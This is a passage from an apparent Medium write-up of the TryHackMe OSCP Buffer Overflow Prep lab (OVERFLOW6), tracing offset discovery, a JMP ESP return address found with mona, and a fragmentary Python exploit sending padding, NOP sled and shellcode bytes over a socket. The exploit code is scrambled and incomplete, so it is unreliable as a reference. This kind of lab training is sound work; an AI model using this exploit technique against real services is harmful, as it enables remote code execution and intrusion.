TryHackme! — OSCP Buffer Overflow

Login and reach to dashboard for module : Buffer Overflow Prep
select HOME network when asked for
It says it runs on port 1337
Since we are exploiting OVERFLOW6 , we will use OVERFLOW6 to see what input goes and what output we get.
attach oscp.exe and press run
running is seen in bottom right corner
We will use this in offset finding python script
Offset is the same value generated by our metasploit-framework pattern create ruby script
paused is seen in bottom right corner. Also the pattern we created is seen in registers, with EIP reflecting at 35694234
we see exact match is at 1034
we see EIP is overwritten with B (hex x42)
nothing different happens on ESP and EIP.
typing !mona modules in left botton corner, shows the presence of all modules identified by mona.
JMP ESP is FF E4 in hex
we see we have atleast 6 different addresses in essfunc.dll , with JMP ESP
We see we have JMP ESP in this address
breakpoint gets a hit and program is paused.
import sys,socket
from time import sleep
payload = ("\xba\xcb\xbe\xb2\x9c\xda\xd9\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
shellcode = "A" * 1034 + "\xaf\x11\x50\x62" + "\x90"*16 + payload +"\r\n"try:
s.send(("OVERFLOW6 "+ shellcode))

print "Error Connecting to server"



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Dhanishtha Awasthi

Dhanishtha Awasthi

OSCP | CEH | Cyber Security Enthusiast.